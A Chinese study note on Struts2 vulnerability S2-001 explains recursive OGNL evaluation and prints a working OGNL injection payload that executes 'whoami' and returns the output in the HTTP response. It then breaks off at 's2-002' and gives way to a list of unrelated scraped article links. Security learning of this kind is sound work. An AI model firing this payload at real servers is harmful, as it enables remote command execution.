s2-001

造成这个漏洞的原因是因为在translateVariables()函数中递归的验证OGNL表达式,造成了OGNL表达式的执行。

在第二次循环中就会执行我们所构造的OGNL表达式。

那么我们就可以通过构造OGNL表达式来利用这个漏洞。

命令执行

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-002

struts2漏洞学习记录相关推荐

  1. ThinkCMF任意文件写入漏洞----学习记录

    ThinkCMF框架任意文件写入漏洞 一.ThinkCMF介绍: ThinkCMF是一款基于ThinkPHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管 ...

  2. 【逆向学习记录】格式化字符串漏洞原理及其利用

    1 概述 前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下 学习的过程中,主要参考文章: 格式化字符串利用小结 CTF WIKI 格 ...

  3. Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测

    安全老司机 | Struts2漏洞爆发后,与黑客的一次正面交锋 from:https://zhuanlan.zhihu.com/p/66122521 备注: 青藤云安全:--用的是进程信息采集器 通过 ...

  4. 【安全漏洞】Struts2漏洞集合总结

    Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...

  5. log4j2远程代码执行漏洞学习总结

    log4j2远程代码执行漏洞学习总结 背景 近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI ...

  6. 基于微信小程序的学习记录与提醒应用设计与实现-计算机毕业设计源码+LW文档

    摘  要 网络的广泛应用给生活带来了十分的便利.所以把学习记录与提醒应用管理与现在网络相结合,利用java技术建设学习记录与提醒应用app,实现学习记录与提醒应用的信息化.则对于进一步提高学习记录与提 ...

  7. WEB安全全基础漏洞学习

    本文省略了SQL注入和xss漏洞,需要的可以网上找资料,资料非常多 web安全全基础漏洞学习 CSRF 简介 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称 ...

  8. 浅谈struts2漏洞(检测工具及S2-052漏洞及漏洞平台的搭建复现)

    简介: struts2是apache项目下的一个web框架,主要应用于各类门户网站,而相对应的漏洞则是从2007年7月23日发布的第一个Struts2漏洞S2-001到2018年的S2-057,跨度还 ...

  9. APP安全漏洞学习笔记

    APP安全漏洞学习笔记 本文首先明确了APP安全的目标,然后对常见的APP漏洞进行了整理分析,并研究学习了APK的静态分析与动态分析技术,最后介绍了安卓的渗透测试技术和常见的安全评估工具.附录处整理了 ...

最新文章

  1. linux安装PHP环境
  2. How To Do @Async in Spring--转
  3. 国家卫计委倡导健康生活理念:每天发呆5分钟
  4. python整数转换字符串_Python | 将字符串转换为整数列表
  5. 自然语言处理实践Task6
  6. Intellij IDEA Cannot resolve symbol XXX 问题解决办法汇总
  7. 项目“”受源代码管理,向源代码管理注册此项目时出错。。
  8. Oracle11gr2新增APPEND_VALUES提示
  9. vijos1846 [NOIP2013] 华容道【最短路】
  10. java根据cookie统计uv,利用Cookie统计UV流量 | 学步园
  11. 5G,仅仅是更快的网速吗?
  12. 启动spark- sqI时:Error: A JNI error has occurred, please check your installation and try again Exceptio
  13. 基于SpringBoot+html超市进销存管理系统
  14. Kafka高性能之页缓存(page cache)使用
  15. 如何将微信公众号上的文章下载下来?
  16. 工作表单元格区域另存为图片
  17. 锐龙AMD处理器 AndroidStudio无法安装使用安卓模拟器/虚拟机
  18. 车牌识别 瞬间启动 快速抓拍 超低功耗 的4G智能摄像头方案
  19. SQL*Plus中 Set timing on的时间显示单位
  20. 如何使用几何体画人体结构?几何体画人体结构技巧!

热门文章

  1. 邮箱开启授权码(配置邮件客户端)
  2. 3D视觉引导机械手原理分析
  3. C++数组篇之n只小猪称体重和冒泡排序练习
  4. 485通讯的校验和_232/485转CAN 智能协议转换器
  5. 疯狂的大柚柚带你玩转MSP-ESP430G2(基础篇)----(十)定时计数器
  6. AutoCAD快速入门(十):移动、旋转和复制
  7. ios 热更新 无需上传AppStore 可以直接新加功能
  8. 10款网站后台管理系统模板_bootstrap网站后台模板_html后台模板下载(一)
  9. 《空气动力学基础》——第三章 无黏不可压缩流动基础
  10. python3打开文件的代码_Python读写文件的代码示例